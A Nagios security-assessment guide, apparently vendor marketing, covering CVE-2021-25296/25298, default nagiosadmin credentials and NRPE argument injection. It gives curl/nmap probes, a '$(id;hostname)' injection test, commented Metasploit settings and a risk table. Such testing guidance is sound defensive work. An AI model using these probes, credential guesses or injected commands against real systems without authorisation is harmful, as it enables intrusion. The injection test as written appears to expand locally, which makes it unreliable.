Nagios is one of the most installed infrastructure monitoring systems in enterprise environments. Both Nagios Core (open source) and Nagios XI (commercial) have accumulated critical security vulnerabilities: CVE-2021-25296 and CVE-2021-25298 (CVSS 8.8) in Nagios XI allowed authenticated OS command injection via multiple controller parameters in the web interface; Nagios XI deployments frequently use the default nagiosadmin/nagiosadmin password or trivially guessable passwords set during installation; Nagios Remote Plugin Executor (NRPE) on port 5666 runs check commands on remote hosts — if NRPE is configured with dont_blame_nrpe=1 and allow_arguments=1, an attacker controlling the Nagios server can execute arbitrary commands on every monitored host; Nagios configuration files store SNMP community strings, database passwords for NDOUtils, and SSH keys that may be readable by the web server process; and Nagios's web interface passes check command results to the shell unsanitized in some configurations. This guide covers systematic Nagios security assessment.
# Nagios default ports: 80/443 (web interface), 5666 (NRPE agent)
# Fingerprint Nagios version from web frontend
curl -s http://nagios.example.com/nagios/ 2>/dev/null | \
grep -oE 'Nagios (Core|XI) [0-9]+\.[0-9]+\.[0-9]+' | head -3
# Check Nagios Core CGI (common URL patterns)
curl -s -o /dev/null -w "%{http_code}" \
http://nagios.example.com/nagios/cgi-bin/status.cgi 2>/dev/null
# 401 = auth required (test default creds); 200 = no auth (rare but possible)
# Probe NRPE port on monitored hosts
nmap -sV -p 5666 target.example.com 2>/dev/null | grep nrpe | head -3
# Query NRPE version (may work without allowed host restriction in older configs)
check_nrpe -H target.example.com -c _NRPE_CHECK 2>/dev/null | head -3
# Returns NRPE version if host check restriction is not enforced# NRPE (Nagios Remote Plugin Executor) on port 5666
# If allow_arguments=1 AND dont_blame_nrpe=1 are set in nrpe.cfg,
# arbitrary command arguments can be injected
# Check NRPE configuration on a monitored host (if you have filesystem access)
grep -E "(dont_blame_nrpe|allow_arguments|allowed_hosts)" /etc/nagios/nrpe.cfg 2>/dev/null
# Test if argument injection is possible via NRPE
# The check_nrpe command passes arguments to the remote command
# If dont_blame_nrpe=1, the $ARG1$ placeholder accepts arbitrary input
check_nrpe -H target.example.com \
-c check_disk \
-a "$(id;hostname)" 2>/dev/null | head -5
# If output contains id command result, argument injection is confirmed
# More dangerous: if check_command is defined with ARG1 passed to shell
# /usr/lib/nagios/plugins/check_by_ssh -H host -l nagios -C "$ARG1$"
# An attacker submitting the check command can inject: "cmd; id"
# Test NRPE command execution via Metasploit (reference only)
# use exploit/unix/misc/nagios_nrpe_arguments
# set RHOSTS target.example.com
# set CHECK check_by_ssh
# set ARGS "-H localhost -l nagios -C id"dont_blame_nrpe=0 and allow_arguments=0 in nrpe.cfg; use predefined check commands insteadallowed_hosts=nagios-server-ip to prevent unauthorized clients from querying NRPE agents| Security Test | Method | Risk |
|---|---|---|
| CVE-2021-25296 authenticated command injection (Nagios XI) | POST to /nagiosxi/includes/components/nagioscorecfg/... with injected param — OS command execution | Critical |
| Default nagiosadmin credentials | Try nagiosadmin/nagiosadmin, nagiosadmin/admin — check /nagios/cgi-bin/status.cgi for 200 | Critical |
| NRPE allows arbitrary argument injection | check_nrpe -a "$(id)" — if dont_blame_nrpe=1, arbitrary commands execute on monitored hosts | Critical |
| NRPE accessible from unauthorized hosts | check_nrpe from non-Nagios-server IP — queries execute without allowed_hosts restriction | High |
| Config files contain SNMP community strings | Read /etc/nagios/commands.cfg — SNMP v1/v2 community strings often in plaintext | High |
| Web interface accessible without TLS | Browse http://host/nagios/ — credentials transmitted in cleartext over HTTP | Medium |
Ironimo tests Nagios deployments for CVE-2021-25296/25298 command injection on Nagios XI, default nagiosadmin credentials, NRPE arbitrary argument injection enabling command execution on all monitored hosts, NRPE service accessible from unauthorized hosts without allowed_hosts restriction, configuration file SNMP community string exposure, and web interface transmitting credentials without TLS.
Start free scan